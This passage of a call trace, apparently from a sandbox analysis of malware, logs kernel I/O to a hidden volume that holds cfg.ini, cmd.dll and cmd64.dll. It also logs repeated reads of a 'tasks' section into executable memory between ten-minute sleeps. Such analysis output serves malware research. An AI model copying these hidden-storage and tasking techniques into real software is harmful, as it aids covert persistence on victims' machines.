SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.672] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.672] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0117.672] IdePortDispatch () returned 0x103 [0117.673] KeWaitForMutexObject () returned 0x0 [0117.673] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.673] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.673] KeLeaveCriticalRegion () [0117.673] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.673] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.673] KeEnterCriticalRegion () [0117.673] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.673] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cea000 [0117.673] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.673] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.673] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.673] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.673] IdePortDispatch () returned 0x103 [0117.673] KeWaitForMutexObject () returned 0x0 [0117.673] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.673] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.673] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.673] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.674] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.674] IdePortDispatch () returned 0x103 [0117.674] KeWaitForMutexObject () returned 0x0 [0117.674] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.674] KeLeaveCriticalRegion () [0117.674] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.674] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.675] KeEnterCriticalRegion () [0117.675] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.675] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.675] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.675] KeLeaveCriticalRegion () [0117.675] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.675] KeEnterCriticalRegion () [0117.675] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.675] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.675] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9a80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.675] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.675] KeLeaveCriticalRegion () [0117.675] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.675] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.675] KeEnterCriticalRegion () [0117.675] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.675] ExFreePoolWithTag (P=0xfffffa80039daf10, Tag=0x0) [0117.675] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.675] KeLeaveCriticalRegion () [0117.675] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.675] ReleaseMutex (hMutex=0xf0) returned 1 [0117.675] Sleep (dwMilliseconds=0x927c0) [0117.693] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0117.693] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.693] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0117.693] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.693] KeEnterCriticalRegion () [0117.693] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.693] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.693] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.693] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.693] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0117.693] IdePortDispatch () returned 0x103 [0117.694] KeWaitForMutexObject () returned 0x0 [0117.694] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.694] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.694] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.694] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.694] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.694] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa6da0 [0117.694] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.694] KeLeaveCriticalRegion () [0117.694] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.694] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.694] KeEnterCriticalRegion () [0117.694] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.694] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.694] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.694] KeLeaveCriticalRegion () [0117.694] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.694] KeEnterCriticalRegion () [0117.694] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.694] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.694] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.694] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.694] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0117.694] IdePortDispatch () returned 0x103 [0117.695] KeWaitForMutexObject () returned 0x0 [0117.695] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.695] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.695] KeLeaveCriticalRegion () [0117.695] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.695] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.695] KeEnterCriticalRegion () [0117.695] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.695] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cef000 [0117.695] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.695] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.695] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.695] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.695] IdePortDispatch () returned 0x103 [0117.695] KeWaitForMutexObject () returned 0x0 [0117.695] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.695] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.695] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.696] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.696] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.696] IdePortDispatch () returned 0x103 [0117.696] KeWaitForMutexObject () returned 0x0 [0117.696] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.696] KeLeaveCriticalRegion () [0117.696] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.696] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.697] KeEnterCriticalRegion () [0117.697] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.697] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.697] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.697] KeLeaveCriticalRegion () [0117.697] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.697] KeEnterCriticalRegion () [0117.697] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.697] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.697] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa6e60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.697] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.697] KeLeaveCriticalRegion () [0117.697] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.697] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.697] KeEnterCriticalRegion () [0117.697] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.697] ExFreePoolWithTag (P=0xfffffa8003aa6da0, Tag=0x0) [0117.697] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.697] KeLeaveCriticalRegion () [0117.697] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.697] ReleaseMutex (hMutex=0xf0) returned 1 [0117.697] Sleep (dwMilliseconds=0x927c0) [0117.716] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0117.716] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.716] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0117.716] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.716] KeEnterCriticalRegion () [0117.716] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.716] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.716] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.716] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.716] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0117.716] IdePortDispatch () returned 0x103 [0117.717] KeWaitForMutexObject () returned 0x0 [0117.717] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.717] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.717] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.717] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.717] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.717] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039daf10 [0117.717] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.717] KeLeaveCriticalRegion () [0117.717] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.717] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.717] KeEnterCriticalRegion () [0117.717] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.717] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.717] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.717] KeLeaveCriticalRegion () [0117.717] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.717] KeEnterCriticalRegion () [0117.717] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.717] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.717] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.717] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.717] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0117.717] IdePortDispatch () returned 0x103 [0117.717] KeWaitForMutexObject () returned 0x0 [0117.717] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.717] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.717] KeLeaveCriticalRegion () [0117.718] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.718] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.718] KeEnterCriticalRegion () [0117.718] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.718] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cf4000 [0117.718] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.718] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.718] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.718] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.718] IdePortDispatch () returned 0x103 [0117.718] KeWaitForMutexObject () returned 0x0 [0117.718] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.718] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.718] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.718] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.718] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.718] IdePortDispatch () returned 0x103 [0117.718] KeWaitForMutexObject () returned 0x0 [0117.719] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.719] KeLeaveCriticalRegion () [0117.719] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.719] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.719] KeEnterCriticalRegion () [0117.719] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.719] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.719] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.719] KeLeaveCriticalRegion () [0117.719] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.719] KeEnterCriticalRegion () [0117.719] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.719] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.719] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039da2a0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.719] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.719] KeLeaveCriticalRegion () [0117.719] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.720] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.720] KeEnterCriticalRegion () [0117.720] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.720] ExFreePoolWithTag (P=0xfffffa80039daf10, Tag=0x0) [0117.720] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.720] KeLeaveCriticalRegion () [0117.720] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.720] ReleaseMutex (hMutex=0xf0) returned 1 [0117.720] Sleep (dwMilliseconds=0x927c0) [0117.737] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0117.737] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.737] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0117.737] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.737] KeEnterCriticalRegion () [0117.737] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.737] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.737] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.737] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.737] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0117.737] IdePortDispatch () returned 0x103 [0117.738] KeWaitForMutexObject () returned 0x0 [0117.738] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.738] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.738] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.738] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.738] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.738] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa6da0 [0117.738] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.738] KeLeaveCriticalRegion () [0117.738] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.738] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.738] KeEnterCriticalRegion () [0117.738] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.738] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.738] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.738] KeLeaveCriticalRegion () [0117.738] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.738] KeEnterCriticalRegion () [0117.738] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.738] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.738] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.738] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.738] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0117.738] IdePortDispatch () returned 0x103 [0117.740] KeWaitForMutexObject () returned 0x0 [0117.740] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.740] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.740] KeLeaveCriticalRegion () [0117.741] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.741] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.741] KeEnterCriticalRegion () [0117.741] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.741] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cf9000 [0117.741] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.741] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.741] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.741] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.741] IdePortDispatch () returned 0x103 [0117.741] KeWaitForMutexObject () returned 0x0 [0117.741] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.741] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.741] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.741] MmProbeAndLockPages 